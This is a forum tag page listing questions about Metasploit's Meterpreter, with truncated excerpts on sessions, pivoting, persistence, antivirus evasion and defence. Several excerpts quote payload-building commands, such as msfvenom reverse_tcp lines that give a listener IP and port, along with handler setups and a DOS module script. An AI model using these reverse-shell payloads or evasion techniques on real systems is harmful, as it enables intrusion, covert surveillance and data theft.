Questions tagged [meterpreter]

The tag has no usage guidance.

Filter by
Sorted by
Tagged with
0 votes
0 answers
15 views

Meterpreter shell re-enter previous/next command

After a Meterpreter session has been established, you can start an interactive shell on the target host using the shell command. In the shell, I'm trying to switch between previously entered commands ...
user avatar
0 votes
0 answers
24 views

How to keep android meterpreter shell script running in background after app is closed

I am connected to android using a meterpreter shell, using an embedded backdoor. I want to run a loop, on the android which will stay running even when the app is closed. My test.sh script is: #!/bin/...
user avatar
0 votes
0 answers
31 views

How does meterpreter stay covert and undetected?

I've heard that meterpreter is really good at being stealthy and staying undetected. However, I can't seem to find articles detailing how it stays stealthy. I do know about encoders like "Shikata ...
user avatar
0 votes
0 answers
12 views

"No session was created" between VMs [duplicate]

I'm a newbie to Metasploit and I have set up 2 VMs: Kali Linux and Windows 8 (victim machine). They use NAT adapter to connect to the internet. I want to make one exploit on ms17-010 but the result is ...
user avatar
  • 1
0 votes
1 answer
36 views

session are not showing in meterpreter [duplicate]

I have a problem that when I try to open multi handler in msfconsole to exploit android, the sessions are not showing. But when I connect both PC and android to the same wifi, then the sessions are ...
user avatar
0 votes
0 answers
400 views

meterpreter command `play` not working

I have created a payload using msfvenom, and after starting msfconsole, I am connected to the victim phone (me). I am able to run all commands but the play command shows an error. I want to play music ...
user avatar
  • 1
0 votes
1 answer
120 views

Meterpreter: How to invoke commands in a loop for each new connection

I want to execute commands like screenshot on a regular interval (e.g. each 5min) for each incoming connection to Meterpreter using the reverse_tcp payload until the connection gets closed by the ...
user avatar
  • 103
2 votes
0 answers
256 views

Metasploit opens Meterpreter, but the shell is unresponsive [closed]

I created a payload using msfvenom android/meterpreter/reverse_tcp LHOST=192.168.2.2 R > ANDROID.apk signed the apk, sent it to my phone, opened up msfconsole and ran set payload android/...
user avatar
0 votes
2 answers
197 views

Meterpreter session vs shell

What is the meaning of "meterpreter session"? My understanding is it is a session that we can send commands to the host for execution. And a meterpreter session is created when we don't get ...
user avatar
0 votes
0 answers
31 views

Will VPN help to restrict Meterpreter session? [duplicate]

I'm a victim of Meterpreter attack. I'm now using VPN in all the devices. My question is, will it help me to restrict meterpreter attack? If not, what is the way out to get rid of meterpreter attack?
user avatar
0 votes
2 answers
377 views

How to run a meterpreter script multiple times

I have this very simple script to run a rpcbomb script from auxiliary/dos/rpc/rpcbomb for a DOS attack. use auxiliary/dos/rpc/rpcbomb set RHOSTS Victim_IP_Address set RPORT 111 exploit -j -z I want ...
user avatar
0 votes
2 answers
1k views

Making My Own Custom Payload [closed]

I have tried many different tools to avoid being detected by an AV while using meterpreter exploit. Here is a list of tools I have tried: Shellter, Posh C2, Hack the World, Veil, Fat Rat, and many ...
user avatar
  • 7
0 votes
1 answer
565 views

Hanging on When Sending Stage

I'm new to Metasploit. I set up a multi-handler exploit and also made an EXE file with meterpreter/reverse_tcp payload. Both 3rd party AV and Windows Defender are deactivated. But when the victim (my ...
user avatar
  • 7
0 votes
0 answers
833 views

After connecting to my backdoor, Meterpreter session is unstable and not usable

I uploaded my backdoor (made using msfvenom) and executed it on the remote machine. I'm able to connect to it using multi/handler , but after a while I get disconnected and then when I try to exploit ...
user avatar
  • 101
1 vote
1 answer
623 views

How to set where the meterpreter payload is placed on the victim machine in metasploit?

Background I am trying to achieve a meterpreter session on a test machine (the "victim") that I already have a shell session on. When I run the command sessions -u #, where # corresponds to ...
user avatar
1 vote
3 answers
372 views

Can't inject meterpreter shellcode in c++ code

I want to inject meterpreter shellcode in a c++ program. When I create .exe file in msfvenom, I try it in my virtual machine (Windows 7) and it works well. But when I create shellcode and inject it ...
user avatar
0 votes
1 answer
444 views

How to execute a custom meterpreter payload? [duplicate]

I've hacked a box in an internal network 10.0.0.1 and I want to use 'pass-the-hash attack' on another box 10.0.0.2 but this box has Avira anti-virus installed in, and the common payload windows/...
user avatar
0 votes
0 answers
304 views

Shell from meterpreter not responding to commands

Meterpreter session was created, framework latest. Victim machine: Ubuntu Screenshot of session: I am pretty sure the commands used to work before on the same machine. Shell commands are not working ...
user avatar
0 votes
1 answer
201 views

Meterpreter pivot with a bind_named_pipe

I have a pivot setup on a compromised windows 10 box and am trying to get an SYSTEM shell on a separate machine in the target network. I have successfully done this abusing an unquoted service path ...
user avatar
  • 189
0 votes
1 answer
3k views

MSF Venom Reverse TCP-Shell: Meterpreter and Netcat Listeners not responsive

I have created a MSFVenom TCP Reverse Shell Paypload that is executed on a Windows Machine: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.11.6.151 LPORT=4443 -f exe -o shell.exe In ...
user avatar
1 vote
1 answer
226 views

Meterpreter Session died [Bwapp]

I just set up a lab with bwapp and wanted to jump straight into webshell. I used Unrestricted file upload vuln --> uploaded my perfect shell created with msfvenom. My only problem is that my ...
user avatar
  • 21
2 votes
2 answers
970 views

What allows meterpreter to migrate processes and how to defend against it?

I mainly use Linux so I'm not well-versed on how Windows and its privileges work. I've recently learned to use Metasploit and meterpreter on Windows boxes. Previous research This answer has given an ...
user avatar
0 votes
1 answer
753 views

keep session alive

In this scenario where someone creates a meterpreter payload and sends it to the target that clicks on it, the person who sent the payload stays away from his PC and in that meantinme the target ...
user avatar
0 votes
2 answers
2k views

is there any way to exit meterpreter without exit the process?

I have a target process I'm injecting meterpreter shellcode (windows/meterpreter/reverse_tcp) into, I manage to get a shell but when I exit it, the process exits as well. Is there any easy way to make ...
user avatar
  • 1
1 vote
1 answer
370 views

Help understanding pivoting and port forwading

I am trying to learn about pivoting/port forwarding and how to take full advantage of it. If I am connected to a network with the ip 192.168.0.10 and can see that 192.168.0.11 has access to a website ...
user avatar
2 votes
0 answers
2k views

Help with meterpreter reverse https

I was trying to practice with meterpreter, so I used the overflow ms17_010_eternalblue and as a payload windows/meterpreter/reverse_https but I am unable to make this payload to work properly. 1st ...
user avatar
  • 21
1 vote
0 answers
194 views

How does meterpreter STDAPI bypass window's webcam restriction's settings

How does the stdapi commands 'webcam_snap' and 'webcam_stream' in meterpreter session bypass webcam restrictions/privacy settings on windows? I want to know how one could replicate this for prevention ...
user avatar
1 vote
0 answers
475 views

seDebugPrivilege and OpenProcess() - Trying to understand how Windows restricts access to a process' virtual memory

I’ve been trying to understand how operating systems protect processes from each other. My understanding of Windows security is that a process can call OpenProcess() (thereby allowing read and write ...
user avatar
  • 11
2 votes
1 answer
1k views

Newer techniques for Meterpreter AV bypass

Is anyone willing to share techniques for creating a Windows Meterpreter payload that can bypass AV? I've noticed that Defender does a very good job these days at detecting it. Some of the ...
user avatar
  • 33
0 votes
1 answer
5k views

Metasploit - Does the multi handler sends the payload, or just listens for connection

Does the metasploit module: exploit/multi/handler sends payloads to stagers? Or does it just listens for an incoming connection like a netcat listener? Or does it do both, as needed?
user avatar
  • 335
2 votes
1 answer
3k views

Cannot execute program with Meterpreter on target OS

I'm a uni student taking a course on cybersecurity and what I am attempting to do is solely for educational purposes and not malicious. I used the eternalblue exploit to gain access to the victim's ...
user avatar
1 vote
0 answers
540 views

Meterpreter record_mic automation

I am toying with the record_mic function on my laptop and noticed that no matter what i do i cannot capture a stream longer than 12 seconds or i get timeout errors. I thought this was a limitation of ...
user avatar
3 votes
1 answer
14k views

How to connect to a meterpreter session opened manually on the target machine

I am trying to exploit a Windows 7 VM using metasploit. I was able to open a java meterpreter session and I want to access a native meterpreter. To do so I exported a meterpreter/reverse_tcp payload ...
user avatar
1 vote
0 answers
134 views

Proxychains to access ports on the same host

This might be an incredible dumb question but I need to know if this concept is even possible. I have obtained a low privileged shell on a target machine. After doing some enumeration I know the host ...
user avatar
0 votes
0 answers
45 views

Auto execute meterpreter commands on session start(android) [duplicate]

I want my meterpreter to execute the command as soon as it gets the session. My payload is android/meterpreter/reverse_tcp I want a file that can execute these commands automatically as soon as ...
user avatar
-2 votes
2 answers
4k views

Difference between shell and meterpreter? [duplicate]

What exactly is the diffrence between meterpreter reverse_shell and any other non-meterpreter reverse shells? 1) The non-meterpreter reverse shell: windows/shell/reverse_tcp 2) Meterpreter: windows/...
user avatar
1 vote
1 answer
477 views

PHP HTTP Reverse Shell?

Is there a PHP HTTP reverse shell? I haven't been able to find one, only ones that transmit using TCP packets (not HTTP). Note, I mean actually using HTTP packets as the C2, not just transmitting TCP ...
user avatar
  • 11
0 votes
0 answers
4k views

Meterpreter is failing to load any extension except the core commands

[*] Starting persistent handler(s)... msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_https PAYLOAD => windows/meterpreter/reverse_https ...
user avatar
2 votes
1 answer
624 views

Meterpreter and OpenVPN

During a meterpreter session, is it possible to deliver a payload that creates a connection request to a local OpenVPN connection? For example: I have a payload. Whenever that payload runs on the ...
user avatar
2 votes
2 answers
13k views

How do I get back to a Meterpreter shell after backgrounding it?

Curious if any of you have an answer to this Metasploit question. It's an issue of a Metasploit session within another Metasploit session. In this lab I'm doing, I need to compromise a machine (10.10....
user avatar
  • 171
0 votes
1 answer
2k views

How to launch a Metasploit module with arguments in just one command

I am developing my first Metasploit module on Metasploit v5.0.1. I would like to launch my own module in one command with args and not using meterpreter. At this time, I launch my module with these ...
user avatar
  • 284
1 vote
1 answer
2k views

Get the privileges of root with the user with I do an exploit with Shellshock [closed]

I got the remote control of a linux machine with Shellshock attack in Kali Linux (attacker machine) to a TinyCore Linux (victim machine), I used this module to attack the CGI vulnerability: use ...
user avatar
  • 11
2 votes
2 answers
12k views

meterpreter upload command does't work

I'm trying to upload nc.exe on a Windows 7 system, after having exploited it by using: exploit/windows/fileformat/ms15_100_mcl_exe. After obtaining the session: sessions –l sessions –i 1 I issued ...
user avatar
  • 21
0 votes
1 answer
333 views

How to response to Meterpreter HTTP Request sent from client

First of all apologies for mistakes as i am at beginner level. I was exploring Meterpreter HTTP Handler. I have created a payload with meterpreter reverse HTTP and writing my own http server for ...
user avatar
0 votes
1 answer
386 views

How to set autorunscript of core commands?

I'm trying to automate scripts of an Android Metasploit payload. I can successfully automate any script on the /post module, however, I'm trying to automate geolocate, dump_calllog and others that are ...
user avatar
1 vote
1 answer
1k views

Switching to native meterpreter

I've managed to get a meterpreter session running between my Kali Linux and Windows 2016 Server by uploading a payload as an Apache Axis2 web service. I want to change to a windows meterpreter(in ...
user avatar
  • 21
0 votes
1 answer
869 views

Meterpreter reverse shell alternative

What can you do if you are behind NAT but can't do port forwarding and don't want to pay for a virtual server with internet-facing IP? I read the answer to this question which suggests some tunneling ...
user avatar
  • 101
0 votes
1 answer
3k views

From SQL Injection in SQLite to shell

I need to obtain a shell from an SQL injection over an application with sqlite database. Currently my exploit looks like the following: lucian@0x90:~/$ proxychains nc 10.185.10.55 1101 ProxyChains-3....
user avatar
3 votes
3 answers
3k views

Meterpreter shell and system shell define?

What is the difference between Meterpreter shell and system shell? For example, if I found some vulnerability in a system which allowed both shells, then what should I go for, system shell or ...
user avatar
0 votes
1 answer
3k views

Meterpreter file upload - segmentation fault

I'm doing some experiments on two VMs, one running Kali and the other running Ubuntu. I have a problem with the "upload" command of Meterpreter. In particular, I already open a reverse tcp session ...
user avatar
  • 3